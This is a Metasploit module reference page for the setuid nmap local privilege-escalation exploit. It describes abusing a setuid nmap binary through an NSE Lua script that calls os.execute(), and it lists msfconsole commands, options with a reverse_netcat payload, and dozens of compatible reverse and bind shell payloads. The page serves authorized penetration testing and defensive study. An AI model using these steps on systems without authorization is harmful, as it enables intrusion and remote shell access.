Setuid Nmap Exploit - Metasploit
This page contains detailed information about how to use the exploit/unix/local/setuid_nmap metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.
Module Overview
Name: Setuid Nmap Exploit
Module: exploit/unix/local/setuid_nmap
Source code: modules/exploits/unix/local/setuid_nmap.rb
Disclosure date: 2012-07-19
Last modification time: 2021-09-21 01:47:59 +0000
Supported architecture(s): cmd, x86
Supported platform(s): BSD, Linux, Unix
Target service / protocol: -
Target network port(s): -
List of CVEs: -
Nmap's man page mentions that "Nmap should never be installed with special privileges (e.g. suid root) for security reasons.." and specifically avoids making any of its binaries setuid during installation. Nevertheless, administrators sometimes feel the need to do insecure things. This module abuses a setuid nmap binary by writing out a lua nse script containing a call to os.execute(). Note that modern interpreters will refuse to run scripts on the command line when EUID != UID, so the cmd/unix/reverse_{perl,ruby} payloads will most likely not work.
Module Ranking and Traits
Module Ranking:
- excellent: The exploit will never crash the service. This is the case for SQL Injection, CMD execution, RFI, LFI, etc. No typical memory corruption exploits should be given this ranking unless there are extraordinary circumstances. More information about ranking can be found here.
Reliability:
- repeatable-session: The module is expected to get a shell every time it runs.
Stability:
- crash-safe: Module should not crash the service.
Side Effects:
- artifacts-on-disk: Modules leaves a payload or a dropper on the target machine.
Basic Usage
Note: To run a local exploit, make sure you are at the msf prompt.
Also, to check the session ID, use the sessions command.
msf > use exploit/unix/local/setuid_nmap
msf exploit(setuid_nmap) > show targets
... a list of targets ...
msf exploit(setuid_nmap) > set TARGET target-id
msf exploit(setuid_nmap) > show options
... show and set options ...
msf exploit(setuid_nmap) > set SESSION session-id
msf exploit(setuid_nmap) > exploit
Required Options
- SESSION: The session to run this module on.
Go back to menu.
Msfconsole Usage
Here is how the unix/local/setuid_nmap exploit module looks in the msfconsole:
msf6 > use exploit/unix/local/setuid_nmap
[*] No payload configured, defaulting to cmd/unix/reverse_netcat
msf6 exploit(unix/local/setuid_nmap) > show info
Name: Setuid Nmap Exploit
Module: exploit/unix/local/setuid_nmap
Platform: BSD, Linux, Unix
Arch: cmd, x86
Privileged: No
License: Metasploit Framework License (BSD)
Rank: Excellent
Disclosed: 2012-07-19
Provided by:
egypt <[email protected]>
Module stability:
crash-safe
Module reliability:
repeatable-session
Available targets:
Id Name
-- ----
0 Command payload
1 Linux x86
2 BSD x86
Check supported:
Yes
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
ExtraArgs no Extra arguments to pass to Nmap (e.g. --datadir)
Nmap /usr/bin/nmap yes Path to setuid nmap executable
SESSION yes The session to run this module on.
Payload information:
Description:
Nmap's man page mentions that "Nmap should never be installed with
special privileges (e.g. suid root) for security reasons.." and
specifically avoids making any of its binaries setuid during
installation. Nevertheless, administrators sometimes feel the need
to do insecure things. This module abuses a setuid nmap binary by
writing out a lua nse script containing a call to os.execute(). Note
that modern interpreters will refuse to run scripts on the command
line when EUID != UID, so the cmd/unix/reverse_{perl,ruby} payloads
will most likely not work.
Module Options
This is a complete list of options available in the unix/local/setuid_nmap exploit:
msf6 exploit(unix/local/setuid_nmap) > show options
Module options (exploit/unix/local/setuid_nmap):
Name Current Setting Required Description
---- --------------- -------- -----------
ExtraArgs no Extra arguments to pass to Nmap (e.g. --datadir)
Nmap /usr/bin/nmap yes Path to setuid nmap executable
SESSION yes The session to run this module on.
Payload options (cmd/unix/reverse_netcat):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST 192.168.204.3 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Command payload
Advanced Options
Here is a complete list of advanced options supported by the unix/local/setuid_nmap exploit:
msf6 exploit(unix/local/setuid_nmap) > show advanced
Module advanced options (exploit/unix/local/setuid_nmap):
Name Current Setting Required Description
---- --------------- -------- -----------
ContextInformationFile no The information file that contains context information
DisablePayloadHandler false no Disable the handler code for the selected payload
EXE::Custom no Use custom exe instead of automatically generating a payload exe
EXE::EICAR false no Generate an EICAR file instead of regular payload exe
EXE::FallBack false no Use the default template in case the specified one is missing
EXE::Inject false no Set to preserve the original EXE function
EXE::OldMethod false no Set to use the substitution EXE generation method.
EXE::Path no The directory in which to look for the executable template
EXE::Template no The executable template file name.
EnableContextEncoding false no Use transient context when encoding payloads
MSI::Custom no Use custom msi instead of automatically generating a payload msi
MSI::EICAR false no Generate an EICAR file instead of regular payload msi
MSI::Path no The directory in which to look for the msi template
MSI::Template no The msi template file name
MSI::UAC false no Create an MSI with a UAC prompt (elevation to SYSTEM if accepted)
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
WfsDelay 2 no Additional delay in seconds to wait for a session
WritableDir /tmp yes A directory where we can write files
Payload advanced options (cmd/unix/reverse_netcat):
Name Current Setting Required Description
---- --------------- -------- -----------
AutoRunScript no A script to run automatically on session creation.
AutoVerifySession true yes Automatically verify and drop invalid sessions
CommandShellCleanupCommand no A command to run before the session is closed
CreateSession true no Create a new session for every successful login
InitialAutoRunScript no An initial script to run on session creation (before AutoRunScript)
ReverseAllowProxy false yes Allow reverse tcp even with Proxies specified. Connect back will NOT go through proxy but directly to LHOST
ReverseListenerBindAddress no The specific IP address to bind to on the local system
ReverseListenerBindPort no The port to bind to on the local system if different from LPORT
ReverseListenerComm no The specific communication channel to use for this listener
ReverseListenerThreaded false yes Handle every connection in a new thread (experimental)
StagerRetryCount 10 no The number of times the stager should retry if the first connect fails
StagerRetryWait 5 no Number of seconds to wait for the stager between reconnect attempts
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
Exploit Targets
Here is a list of targets (platforms and systems) which the unix/local/setuid_nmap module can exploit:
msf6 exploit(unix/local/setuid_nmap) > show targets
Exploit targets:
Id Name
-- ----
0 Command payload
1 Linux x86
2 BSD x86
Compatible Payloads
This is a list of possible payloads which can be delivered and executed on the target system using the unix/local/setuid_nmap exploit:
msf6 exploit(unix/local/setuid_nmap) > show payloads
Compatible Payloads
===================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 payload/cmd/unix/bind_awk normal No Unix Command Shell, Bind TCP (via AWK)
1 payload/cmd/unix/bind_busybox_telnetd normal No Unix Command Shell, Bind TCP (via BusyBox telnetd)
2 payload/cmd/unix/bind_jjs normal No Unix Command Shell, Bind TCP (via jjs)
3 payload/cmd/unix/bind_lua normal No Unix Command Shell, Bind TCP (via Lua)
4 payload/cmd/unix/bind_netcat normal No Unix Command Shell, Bind TCP (via netcat)
5 payload/cmd/unix/bind_netcat_gaping normal No Unix Command Shell, Bind TCP (via netcat -e)
6 payload/cmd/unix/bind_netcat_gaping_ipv6 normal No Unix Command Shell, Bind TCP (via netcat -e) IPv6
7 payload/cmd/unix/bind_nodejs normal No Unix Command Shell, Bind TCP (via nodejs)
8 payload/cmd/unix/bind_perl normal No Unix Command Shell, Bind TCP (via Perl)
9 payload/cmd/unix/bind_perl_ipv6 normal No Unix Command Shell, Bind TCP (via perl) IPv6
10 payload/cmd/unix/bind_r normal No Unix Command Shell, Bind TCP (via R)
11 payload/cmd/unix/bind_ruby normal No Unix Command Shell, Bind TCP (via Ruby)
12 payload/cmd/unix/bind_ruby_ipv6 normal No Unix Command Shell, Bind TCP (via Ruby) IPv6
13 payload/cmd/unix/bind_socat_udp normal No Unix Command Shell, Bind UDP (via socat)
14 payload/cmd/unix/bind_stub normal No Unix Command Shell, Bind TCP (stub)
15 payload/cmd/unix/bind_zsh normal No Unix Command Shell, Bind TCP (via Zsh)
16 payload/cmd/unix/generic normal No Unix Command, Generic Command Execution
17 payload/cmd/unix/pingback_bind normal No Unix Command Shell, Pingback Bind TCP (via netcat)
18 payload/cmd/unix/pingback_reverse normal No Unix Command Shell, Pingback Reverse TCP (via netcat)
19 payload/cmd/unix/reverse normal No Unix Command Shell, Double Reverse TCP (telnet)
20 payload/cmd/unix/reverse_awk normal No Unix Command Shell, Reverse TCP (via AWK)
21 payload/cmd/unix/reverse_bash normal No Unix Command Shell, Reverse TCP (/dev/tcp)
22 payload/cmd/unix/reverse_bash_telnet_ssl normal No Unix Command Shell, Reverse TCP SSL (telnet)
23 payload/cmd/unix/reverse_bash_udp normal No Unix Command Shell, Reverse UDP (/dev/udp)
24 payload/cmd/unix/reverse_jjs normal No Unix Command Shell, Reverse TCP (via jjs)
25 payload/cmd/unix/reverse_ksh normal No Unix Command Shell, Reverse TCP (via Ksh)
26 payload/cmd/unix/reverse_lua normal No Unix Command Shell, Reverse TCP (via Lua)
27 payload/cmd/unix/reverse_ncat_ssl normal No Unix Command Shell, Reverse TCP (via ncat)
28 payload/cmd/unix/reverse_netcat normal No Unix Command Shell, Reverse TCP (via netcat)
29 payload/cmd/unix/reverse_netcat_gaping normal No Unix Command Shell, Reverse TCP (via netcat -e)
30 payload/cmd/unix/reverse_nodejs normal No Unix Command Shell, Reverse TCP (via nodejs)
31 payload/cmd/unix/reverse_openssl normal No Unix Command Shell, Double Reverse TCP SSL (openssl)
32 payload/cmd/unix/reverse_perl normal No Unix Command Shell, Reverse TCP (via Perl)
33 payload/cmd/unix/reverse_perl_ssl normal No Unix Command Shell, Reverse TCP SSL (via perl)
34 payload/cmd/unix/reverse_php_ssl normal No Unix Command Shell, Reverse TCP SSL (via php)
35 payload/cmd/unix/reverse_python normal No Unix Command Shell, Reverse TCP (via Python)
36 payload/cmd/unix/reverse_python_ssl normal No Unix Command Shell, Reverse TCP SSL (via python)
37 payload/cmd/unix/reverse_r normal No Unix Command Shell, Reverse TCP (via R)
38 payload/cmd/unix/reverse_ruby normal No Unix Command Shell, Reverse TCP (via Ruby)
39 payload/cmd/unix/reverse_ruby_ssl normal No Unix Command Shell, Reverse TCP SSL (via Ruby)
40 payload/cmd/unix/reverse_socat_udp normal No Unix Command Shell, Reverse UDP (via socat)
41 payload/cmd/unix/reverse_ssh normal No Unix Command Shell, Reverse TCP SSH
42 payload/cmd/unix/reverse_ssl_double_telnet normal No Unix Command Shell, Double Reverse TCP SSL (telnet)
43 payload/cmd/unix/reverse_stub normal No Unix Command Shell, Reverse TCP (stub)
44 payload/cmd/unix/reverse_tclsh normal No Unix Command Shell, Reverse TCP (via Tclsh)
45 payload/cmd/unix/reverse_zsh normal No Unix Command Shell, Reverse TCP (via Zsh)
46 payload/generic/custom normal No Custom Payload
47 payload/generic/shell_bind_tcp normal No Generic Command Shell, Bind TCP Inline
48 payload/generic/shell_reverse_tcp normal No Generic Command Shell, Reverse TCP Inline
Evasion Options
Here is the full list of possible evasion options supported by the unix/local/setuid_nmap exploit in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):
msf6 exploit(unix/local/setuid_nmap) > show evasion
Module evasion options:
Name Current Setting Required Description
---- --------------- -------- -----------
Go back to menu.
Related Pull Requests
- #14640 Merged Pull Request: rubocop -a modules/exploits/unix/local/
- #14202 Merged Pull Request: Implement the zeitwerk autoloader within lib/msf/core
- #14213 Merged Pull Request: Add disclosure date rubocop linting rule - enforce iso8601 disclosure dates
- #12535 Merged Pull Request: Add module notes for Reliability and Stability
- #9446 Merged Pull Request: Fix Meterpreter-specific code in setuid_nmap
- #8716 Merged Pull Request: Print_Status -> Print_Good (And OCD bits 'n bobs)
- #8338 Merged Pull Request: Fix msf/core and self.class msftidy warnings
- #6655 Merged Pull Request: use MetasploitModule as a class name
- #6648 Merged Pull Request: Change metasploit class names
- #2905 Merged Pull Request: Update Exploit Checks and a msftidy to go with it
- #2525 Merged Pull Request: Change module boilerplate
- #2417 Merged Pull Request: Prefer Ruby style for single word collections
- #2304 Merged Pull Request: Fix load order in posts, hopefully forever
- #957 Merged Pull Request: Require's for all the include's
- #679 Merged Pull Request: OSX Keychain module based on #676
- #611 Merged Pull Request: Post-exploitation exploitation
Go back to menu.
See Also
Check also the following modules related to this module:
- auxiliary/admin/http/netgear_r7000_backup_cgi_heap_overflow_rce
- auxiliary/dos/http/novell_file_reporter_heap_bof
- auxiliary/dos/samba/lsa_addprivs_heap
- auxiliary/dos/samba/lsa_transnames_heap
- exploit/linux/local/netfilter_xtables_heap_oob_write_priv_esc
- exploit/linux/samba/lsa_transnames_heap
- exploit/osx/samba/lsa_transnames_heap
- exploit/solaris/dtspcd/heap_noir
- exploit/solaris/samba/lsa_transnames_heap
- exploit/windows/brightstor/message_engine_heap
- exploit/windows/browser/kazaa_altnet_heap
- exploit/windows/misc/bakbone_netvault_heap
- exploit/unix/local/at_persistence
- exploit/unix/local/chkrootkit
- exploit/unix/local/emacs_movemail
- exploit/unix/local/exim_perl_startup
- exploit/unix/local/netbsd_mail_local
- exploit/unix/local/opensmtpd_oob_read_lpe
- exploit/osx/local/setuid_tunnelblick
- exploit/osx/local/setuid_viscosity
- exploit/windows/novell/nmap_stor
Authors
- egypt
Version
This page has been produced using Metasploit Framework version 6.1.27-dev. For more modules, visit the Metasploit Module Library.
Go back to menu.
